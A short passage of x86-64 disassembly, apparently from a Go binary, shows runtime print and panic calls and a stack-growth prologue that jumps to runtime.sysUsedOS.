call sym.runtime.printuint
call sym.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x0054695f]
mov ebx, 0x1f
nop dword [rax + rax]
call sym.runtime.throw
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
nop
jmp sym.runtime.sysUsedOS